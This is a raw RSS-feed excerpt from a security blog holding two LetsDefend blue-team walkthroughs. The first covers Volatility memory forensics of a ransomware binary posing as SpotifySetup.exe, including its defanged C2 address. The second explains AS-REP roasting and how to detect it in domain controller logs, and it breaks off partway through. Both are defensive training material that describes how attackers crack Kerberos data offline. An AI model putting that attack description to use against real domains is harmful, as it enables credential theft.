redirect its output to a text file. This gives us the flexibility to quickly search through the results using a text editor rather than manually scrolling through terminal output. In the example below, the results are written to a file named &lt;code&gt;netscan.txt&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.netscan &amp;gt; netscan.txt&lt;/p&gt;&#xA;&lt;p&gt;Once that command completes, we can open &lt;em&gt;netscan.txt&lt;/em&gt; in a tool like Notepad and use its built-in search functionality. Press &lt;code&gt;Ctrl + F&lt;/code&gt;, search for &lt;code&gt;SpotifySetup&lt;/code&gt;, and jump to the first matching entry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/46c8b39b9d1e2c02092fd3beca4eab46_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad: Analyzing the output of Volatility&amp;rsquo;s windows.netscan&lt;/p&gt;&#xA;&lt;p&gt;From that entry, we can see that &lt;code&gt;SpotifySetup.exe&lt;/code&gt; established an outbound connection to a &lt;em&gt;ForeignAddr&lt;/em&gt; of &lt;code&gt;104[.]152[.]52[.]238&lt;/code&gt; over &lt;em&gt;ForeignPort&lt;/em&gt; &lt;code&gt;6548&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a nice find because it gives us visibility into the attacker&amp;rsquo;s external infrastructure like a potential command and control address. It&amp;rsquo;s also great for defensive purposes, such as blocking the indicator or pivoting into threat intelligence to discover more related activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/81b932fddffeb48913cf813729b22f28_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-8-9&#34;&gt;Questions 8 &amp;amp; 9:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-ppid-of-the-malicious-file&#34;&gt;What is the PPID of the malicious file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;identify-the-initiating-process-that-executed-the-malicious-binary&#34;&gt;Identify the initiating process that executed the malicious binary.&#xA;&lt;/h4&gt;&lt;p&gt;Finally, we&amp;rsquo;ve made it to the last two questions, and fittingly, they take us right back to where this investigation began.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 8&lt;/strong&gt; and &lt;strong&gt;Question 9&lt;/strong&gt;, we need to revisit the &lt;code&gt;windows.pslist&lt;/code&gt; output from &lt;strong&gt;Question 1&lt;/strong&gt; and take a closer look at how &lt;code&gt;SpotifySetup.exe&lt;/code&gt; was launched.&lt;/p&gt;&#xA;&lt;p&gt;Within the process listing, we can identify the &lt;strong&gt;parent process ID (PPID)&lt;/strong&gt; associated with the malicious binary. The PPID for &lt;code&gt;SpotifySetup.exe&lt;/code&gt; is &lt;code&gt;5864&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;11760px&#34; data-flex-grow=&#34;4900&#34; height=&#34;16&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/5ebab75fa5983d85710c7daf3a06bd14_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the malware PPID with windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;With that, we can tighten our focus and determine which process was responsible for launching the ransomware. A quick way to do that is to search the process list for the matching PID:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pslist | findstr &amp;ldquo;5864&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/ef01ded4c715da25559200072e6d36ce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Uncovering the PPID&lt;/p&gt;&#xA;&lt;p&gt;VoilÃ ! That search reveals that process &lt;code&gt;5864&lt;/code&gt; maps directly to &lt;code&gt;explorer.exe&lt;/code&gt;, the Windows shell. Since &lt;code&gt;explorer.exe&lt;/code&gt; is responsible for handling user-initiated actions like double-clicking files or executing programs, this confirms the user&amp;rsquo;s story of good, ole social engineering, where the employee reported downloading and installing what they believed to be legitimate software.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve gotten everything scoped, let&amp;rsquo;s close out this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;842px&#34; data-flex-grow=&#34;350&#34; height=&#34;228&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/0c3a36c4d54380859c5b53a3b7812175_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;528px&#34; data-flex-grow=&#34;220&#34; height=&#34;363&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/6f0041c07d70fe9a7147bc059f54293c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This week&amp;rsquo;s investigation was a great starting point into practical &lt;strong&gt;memory forensics&lt;/strong&gt;, giving us a firsthand look at how ransomware activity can be reconstructed using volatile artifacts alone. From identifying a suspicious executable in memory, to uncovering its true name, spotting encrypted files, and finally surfacing outbound network connections, this challenge showcased just how much visibility RAM can provide during incident response. Pretty cool, right?&lt;/p&gt;&#xA;&lt;p&gt;As we worked through the memory dump, we were rebuilding the attack chain one artifact at a time. Each question flowed naturally into the next, and the investigation felt logical and intuitive as we pivoted between process listings, file scans, and network artifacts using &lt;em&gt;Volatility&lt;/em&gt;. For me, a structured approach makes it especially satisfying, since you&amp;rsquo;re not just answering questions, you&amp;rsquo;re reinforcing how real incident response workflows come together. Love it!&lt;/p&gt;&#xA;&lt;p&gt;I picked this challenge because while I&amp;rsquo;ve used &lt;em&gt;Volatility&lt;/em&gt; plenty of times, I hadn&amp;rsquo;t tried it on Windows before and wanted to see how different it felt compared to Linux. On top of that, opportunities to practice memory analysis in the real world don&amp;rsquo;t come up often. It can be intimidating at first, but challenges like this help make it click and let you get your reps in. Practice really does make perfect.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memloot&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/memloot&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;GitHub — Volatility 3:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Command Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Hunt Evil Poster:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/hunt-evil&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ExifTool:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://exiftool.org/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — AS-REP Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/</link>
            <pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — AS-REP Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--as-rep-challenge-walkthrough&#34;&gt;LetsDefend — AS-REP Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-domain-controller-logs-and-endpoint-artifacts-using-event-log-explorer-andpecmd&#34;&gt;Investigating Domain Controller Logs and Endpoint Artifacts Using Event Log Explorer and PECmd.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/as-rep-challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/as-rep-challenge&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/as-rep-challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AS-REP&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This challenge pairs nicely with two others in the series, and there&amp;rsquo;s some overlap in approach. If you like this topic, check out:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/&#34; &gt;&lt;strong&gt;LetsDefend - LDAP Enumeration Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/&#34; &gt;&lt;strong&gt;LetsDefend - Golden Ticket Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A network security team received alerts from a Domain Controller (DC) indicating that a user was making unusual requests for Kerberos tickets, which is not typical for their role. Given that this behavior aligns with potential reconnaissance or lateral movement within the network, the security team escalated the issue to a senior investigator. The investigator has been tasked with analyzing the provided DC and workstation logs to trace the attacker&amp;rsquo;s movements, determine the source of the anomaly, and understand how the attacker gained access and what actions they might have taken inside the network.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. We&amp;rsquo;ve got suspicious Kerberos ticket requests, alerts from the responding DC, and a set of artifacts from the user&amp;rsquo;s workstation. It&amp;rsquo;s up to us to shed light on what happened and why.&lt;/p&gt;&#xA;&lt;p&gt;From the DC&amp;rsquo;s &lt;em&gt;Windows Security Event Log&lt;/em&gt;, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt; to filter and correlate the attacker&amp;rsquo;s authentication activity. The goal is to determine what technique was used and confirm whether &lt;strong&gt;AS-REP roasting&lt;/strong&gt; is in play. Once we&amp;rsquo;ve wrapped the DC review, we&amp;rsquo;ll pivot to workstation artifacts, including the client security event logs and &lt;strong&gt;Windows Prefetch&lt;/strong&gt; files, to fully map out the attack.&lt;/p&gt;&#xA;&lt;p&gt;If this is all new to you, don&amp;rsquo;t worry. By the end, you&amp;rsquo;ll have a solid understanding and repeatable approach for spotting Active Directory attacks like &lt;em&gt;AS-REP roasting&lt;/em&gt; using just a domain controller&amp;rsquo;s security log — and then expanding the picture with endpoint artifacts. Time to go hunting for a needle in the haystack of logs — let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;as-rep-primer&#34;&gt;AS-REP Primer:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump too far into the investigation, let&amp;rsquo;s lay some groundwork and do a quick recap of what an &lt;strong&gt;AS-REP attack&lt;/strong&gt; is in the context of a domain controller. This will help us contextualize the investigation as we move through it.&lt;/p&gt;&#xA;&lt;p&gt;In an Active Directory environment, modern authentication is handled using &lt;strong&gt;Kerberos&lt;/strong&gt;. We don&amp;rsquo;t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using &lt;em&gt;Kerberos&lt;/em&gt;. Microsoft has clear visuals in its &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Learn&lt;/strong&gt;&lt;/a&gt; documentation for how that exchange works:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/64cf35a153bdb58a8d8a4f1411f18257_MD5.png&#34; width=&#34;553&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;AS-REQ&lt;/em&gt; and &lt;em&gt;AS-REP&lt;/em&gt; are the first steps in the Kerberos authentication process. AS-REP roasting becomes possible when an account has &lt;strong&gt;Kerberos pre-authentication disabled&lt;/strong&gt;. With pre-authentication enabled, the user&amp;rsquo;s &lt;em&gt;AS-REQ&lt;/em&gt; includes a timestamp encrypted with their password hash. The domain controller must decrypt that timestamp before it will issue an &lt;em&gt;AS-REP&lt;/em&gt; containing a TGT.&lt;/p&gt;&#xA;&lt;p&gt;When an account doesn&amp;rsquo;t require this pre-authentication, attackers can just send an &lt;em&gt;AS-REQ,&lt;/em&gt; snag the &lt;em&gt;AS-REP,&lt;/em&gt; and then brute-force the encrypted data offline to expose credentials. This tactic is what&amp;rsquo;s called an &lt;strong&gt;AS-REP Roasting attack&lt;/strong&gt;, which &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; classifies under &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: AS-REP Roasting&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(T1558.004).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;MITRE&lt;/em&gt; describes it like this:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/002&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Password Cracking&lt;/a&gt; Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Not good! But understanding this flow is exactly what we need as we move into the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;MITRE&lt;/em&gt; also provides helpful detection guidance. It recommends monitoring for patterns such as:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (&lt;strong&gt;Event ID 4768&lt;/strong&gt; with &lt;strong&gt;Pre-Auth Type 0&lt;/strong&gt;). Correlates these requests with subsequent service ticket activity (&lt;strong&gt;Event ID 4769&lt;/strong&gt;) and anomalies such as requests using weak RC4 encryption &lt;strong&gt;(etype 0x17&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, by combining these telemetry points and applying them to our investigation, we can quickly spot &lt;em&gt;AS-REP roasting&lt;/em&gt; activity and scope the attack. Let&amp;rsquo;s give it a shot!&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-15&#34;&gt;Questions 1€“5:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;while-reviewing-the-logs-janice-identified-suspicious-kerberos-ticket-requests-potentially-indicating-an-as-rep-attack-what-is-the-exact-time-this-attack-occurred&#34;&gt;While reviewing the logs, Janice identified suspicious Kerberos ticket requests, potentially indicating an AS-REP attack. What is the exact time this attack occurred?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-user-account-did-the-attacker-target-during-this-kerberosattack&#34;&gt;What user account did the attacker target during this Kerberos attack?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-sid-associated-with-the-targeted-useraccount&#34;&gt;What is the SID associated with the targeted user account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-encryption-algorithm-was-used-in-this-kerberos-ticketrequest&#34;&gt;What encryption algorithm was used in this Kerberos ticket request?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-ip-and-port-number-that-was-used-to-request-theticket&#34;&gt;What is the IP and port number that was used to request the ticket?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we&amp;rsquo;ve gotten a grasp of the theory behind an &lt;strong&gt;AS-REP attack&lt;/strong&gt;, let&amp;rsquo;s put it into practice and jump into the challenge. After extracting the contents of &lt;code&gt;AS-REP.7z&lt;/code&gt;, you&amp;rsquo;ll see two folders: &lt;strong&gt;Corrado&lt;/strong&gt;, which contains the compromised workstation artifacts, and &lt;strong&gt;DC&lt;/strong&gt;, which contains the domain controller logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;780px&#34; data-flex-grow=&#34;325&#34; height=&#34;246&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/13414c13cdb193258e6bc5625cd0608a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re investigating an &lt;em&gt;AS-REP&lt;/em&gt; attack, we&amp;rsquo;ll need to focus on &lt;strong&gt;TGT ticket requests&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Event ID&lt;/a&gt; &lt;code&gt;[4768](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768)&lt;/code&gt;), which are only available on a domain controller. The first artifact we need to examine is the DC&amp;rsquo;s &lt;code&gt;Security.evtx&lt;/code&gt; log. You can open it with Windows Event Viewer, or you can use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third-party utility that significantly speeds up log analysis. Because &lt;em&gt;Event Log Explorer&lt;/em&gt; is already included in the &lt;em&gt;LetsDefend&lt;/em&gt; analysis environment, that&amp;rsquo;s what I&amp;rsquo;ll be using in this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;Once you have the log open in &lt;em&gt;Event Log Explorer&lt;/em&gt;, press the filter button in the top toolbar. In the filter window, search for Ticket Granting Ticket request events (Event ID &lt;code&gt;4768&lt;/code&gt;) where &lt;code&gt;PreAuthType = 0&lt;/code&gt;. This applies what we learned directly from the &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; detection strategy, reduces the log noise, and highlights requests for accounts where pre-authentication is disabled.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;746&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/dcf555f33a8f3a3a497ca9ee5df03666_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering TGT requests without pre-authentication&lt;/p&gt;&#xA;&lt;p&gt;With the filtered results in front of us, the next step is to find the event matching the third parameter of the MITRE detection rule: a Ticket Encryption Type associated with a weak legacy algorithm such as RC4 (&lt;code&gt;0x17&lt;/code&gt;). Scanning through the events, you&amp;rsquo;ll notice one entry that stands out because its &lt;code&gt;Ticket Encryption Type&lt;/code&gt; field differs from the others.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;353px&#34; data-flex-grow=&#34;147&#34; height=&#34;543&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/35e6de1a7b14958e8983b534301a184f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying a request using weaker encryption&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified this event, we have all the information needed to answer the first five questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When the attack occurred (remember to convert your answer to UTC!)&lt;/li&gt;&#xA;&lt;li&gt;Which user account was targeted&lt;/li&gt;&#xA;&lt;li&gt;The Security ID (SID) associated with that account&lt;/li&gt;&#xA;&lt;li&gt;The encryption algorithm used in the Kerberos request&lt;/li&gt;&#xA;&lt;li&gt;The IP address and port number the attacker used to request the ticket&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;179px&#34; data-flex-grow=&#34;74&#34; height=&#34;1070&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/85da6069b4fb4e626f7d64b33d5608fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-attacker-managed-to-crack-the-hash-and-used-it-to-log-into-the-compromised-machine-when-was-their-first-logonattempt&#34;&gt;Question 6: The attacker managed to crack the hash and used it to log into the compromised machine. When was their first logon attempt?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the suspicious &lt;em&gt;AS-REP&lt;/em&gt; in the domain controller logs, it&amp;rsquo;s time to pivot to our second artifact: the &lt;code&gt;Security.evtx&lt;/code&gt; file from Corrado&amp;rsquo;s workstation. This log will help us spot the attacker&amp;rsquo;s first login attempt after cracking the hash obtained through the initial &lt;strong&gt;AS-REP Roasting&lt;/strong&gt; activity.&lt;/p&gt;&#xA;&lt;p&gt;Load the workstation&amp;rsquo;s &lt;code&gt;Security.evtx&lt;/code&gt; file in &lt;strong&gt;Event Log Explorer&lt;/strong&gt;. This time, filter for successful logons (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Event ID&lt;/a&gt; &lt;code&gt;[4624](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624)&lt;/code&gt;) on the device. To make the search more efficient, adjust the time window to only include events that happened &lt;strong&gt;after&lt;/strong&gt; the suspicious &lt;em&gt;AS-REP&lt;/em&gt; request. In this challenge, that means everything after &lt;code&gt;10/5/2024 2:42:44 PM&lt;/code&gt; and through the end of the day (&lt;code&gt;10/5/2024 11:59:00 PM&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Since we already identified a source IP address in &lt;strong&gt;Question 5&lt;/strong&gt; associated with the &lt;em&gt;AS-REP&lt;/em&gt; activity, we can add that address as a custom field in the filter. This dramatically reduces our noise floor and helps us zero in on the attacker&amp;rsquo;s follow-up actions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;258px&#34; 